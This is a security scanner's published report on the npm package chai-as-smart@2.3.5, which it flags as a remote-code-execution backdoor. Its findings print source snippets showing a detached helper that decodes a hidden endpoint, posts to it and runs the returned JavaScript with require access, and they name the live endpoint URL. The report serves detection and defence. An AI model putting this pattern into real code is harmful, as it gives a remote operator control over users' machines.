--- canonical: "https://firewall.lpm.dev/npm/chai-as-smart" markdown: "https://firewall.lpm.dev/npm/chai-as-smart/report.md" package: "chai-as-smart" report_status: "published" title: "chai-as-smart@2.3.5 npm security report" verdict: "malicious" version: "2.3.5" --- # chai-as-smart@2.3.5 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Remote endpoint operator can run arbitrary JavaScript with require access in the consuming project runtime. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Remote Code Execution - **Selected version:** 2.3.5 - **Selected version is latest:** Yes - **Analysis source:** AI Security Review (lpm-firewall-ai) This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. Direct source inspection confirms hidden runtime network execution of server-supplied code from an unrelated endpoint. Absence of install hooks narrows the trigger but does not remove the concrete malicious backdoor. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-07-09T22:31:18.137Z - **Finished:** 2026-07-09T22:32:07.718Z - **Download time:** 506 ms - **Static scan time:** 81 ms - **AI review time:** 48993 ms - **Total time:** 49581 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Using the package main entrypoint can spawn a hidden detached Node helper that contacts a remote Vercel endpoint and executes server-supplied JavaScript. This is a confirmed runtime remote-code-execution backdoor. - **Trigger:** Runtime use of the exported middleware from index.js. - **Impact:** Remote endpoint operator can run arbitrary JavaScript with require access in the consuming project runtime. - **Evidence paths:** package.json, index.js, lib/initializeCaller.js - **Review source:** ai\_review - **Reviewed:** 2026-07-09T22:32:07.718Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** detached child process plus remote response execution with new Function - **Attack narrative:** The package main entrypoint exposes middleware that starts lib/initializeCaller.js in a detached background Node process. The helper decodes a hidden HTTPS endpoint, posts data to it, then constructs and runs a function from response.data with require access. That gives the remote server arbitrary code execution when the package is used. - **Rationale:** Direct source inspection confirms hidden runtime network execution of server-supplied code from an unrelated endpoint. Absence of install hooks narrows the trigger but does not remove the concrete malicious backdoor. - **Files touched:** index.js, lib/initializeCaller.js - **Network endpoints:** https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** package.json sets main to index.js and has no lifecycle scripts., index.js imports child\_process.spawn and starts node lib/initializeCaller.js detached with stdio ignored., index.js exported middleware calls runBackgroundTask on runtime use., lib/initializeCaller.js decodes DEV\_API\_KEY to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df., lib/initializeCaller.js posts to that endpoint and executes response.data via new Function("require", response.data). - **Evidence against:** No preinstall/install/postinstall hook was present in package.json., lib/initializeCaller.js shadows process.env with hardcoded DEV\_\* values, so inspected code does not directly send the real host environment., No inspected file showed filesystem writes, persistence, destructive behavior, or AI-agent control-surface mutation. ## Affected versions and remediation This report applies to chai-as-smart@2.3.5. - Avoid installing chai-as-smart@2.3.5. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. High: Child Process - **Category:** Source - **Confidence:** 85.0% - **Path:** index.js - **Public source:** [View source]() Package source references child process execution. Public source snippet (untrusted): ```javascript L3: const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants'); ``` ### 3. High: Eval - **Category:** Source - **Confidence:** 80.0% - **Path:** lib/initializeCaller.js - **Public source:** [View source]() Package source references dynamic code evaluation. Public source snippet (untrusted): ```javascript L28: .then(response => { L29: const executor = new Function("require", response.data); L30: executor(require); ``` ### 4. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 5. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 6. High: Same File Env Network Execution - **Category:** Source - **Confidence:** 85.0% - **Path:** lib/initializeCaller.js - **Public source:** [View source]() A single source file combines environment access, network access, and code or shell execution; review context before blocking. Public source snippet (untrusted): ```javascript L13: const apiEndpoint = atob(process.env.DEV_API_KEY); L14: const apiHeaderKey = atob(process.env.DEV_SECRET_KEY); L15: const apiHeaderValue = atob(process.env.DEV_SECRET_VALUE); ... L22: L23: await axios.post( L24: apiEndpoint, ... L28: .then(response => { L29: const executor = new Function("require", response.data); L30: executor(require); ``` ### 7. High: Cross File Remote Execution Context - **Category:** Source - **Confidence:** 72.0% - **Path:** index.js - **Public source:** [View source]() Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking. Public source snippet (untrusted): ```javascript Cross-file remote execution chain: index.js spawns lib/initializeCaller.js; helper contains network access plus dynamic code execution. L3: const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants'); ... L37: function runBackgroundTask(args) { L38: const scriptPath = path.resolve(__dirname, './lib/initializeCaller.js'); L39: ``` ### 8. High: Base64 Obscured Url - **Category:** Source - **Confidence:** 82.0% - **Path:** lib/initializeCaller.js - **Public source:** [View source]() Source decodes a Base64-obscured HTTP endpoint at runtime. Public source snippet (untrusted): ```javascript L2: L3: const axios = require("axios"); L4: const process = { ... L12: (async function initializeCaller(..._args) { L13: const apiEndpoint = atob(process.env.DEV_API_KEY); L14: const apiHeaderKey = atob(process.env.DEV_SECRET_KEY); ... L22: L23: await axios.post( L24: apiEndpoint, ... L28: .then(response => { L29: const executor = new Function("require", response.data); L30: executor(require); ``` ### 9. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 10. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 11. High: Known Malware Source Fingerprint Signature - **Category:** Supply Chain - **Confidence:** 94.0% - **Path:** index.js - **Public source:** [View source]() Source fingerprint signature matches a known malicious package signature; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = malicious_source_fingerprint_signature signature = 3522c2fe164c56ca signatureType = suspicious_hashes sourceLabel = Datadog matchedPackage = dotenv-pack@2.3.10 matchedPath = index.js matchedIdentity = npm:ZG90ZW52LXBhY2s:2.3.10 similarity = 1.000 shingleOverlap = 12 summary = Datadog malicious npm corpus sample: samples/npm/malicious_intent/dotenv-pack/2.3.10/2026-06-01-dotenv-pack-v2.3.10.zip ``` ### 12. Medium: Secret Pattern - **Category:** Secrets - **Confidence:** 75.0% - **Path:** docs/transports.md - **Public source:** [View source]() Hardcoded password in docs/transports.md Public source snippet (untrusted): ```markdown patternName = generic_password severity = medium line = 550 matchedText = password...rd', ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 4 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 4 ### Published dependency entries - axios ^1.10.0 (Dependency) - parse-json ^8.3.0 (Dependency) - request ^2.88.2 (Dependency) - sqlite3 ^5.1.7 (Dependency) ## Package metadata - **Package:** chai-as-smart - **Ecosystem:** npm - **Version:** 2.3.5 - **License:** MIT - **Version published:** 2026-07-09T12:46:04.215Z - **Package first seen:** 2026-07-09T22:32:07.718Z - **Package last seen:** 2026-07-09T22:32:07.718Z - **Known versions:** 1 - **Latest version:** 2.3.5 - **Appeal under review:** No - **Description:** This document describes the management of vulnerabilities for the project and all modules within the organization. - **Author:** Robert King - **Keywords:** fast, logger, stream, json - **Artifact files:** 43 - **Artifact unpacked size:** 271,064 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Issues]()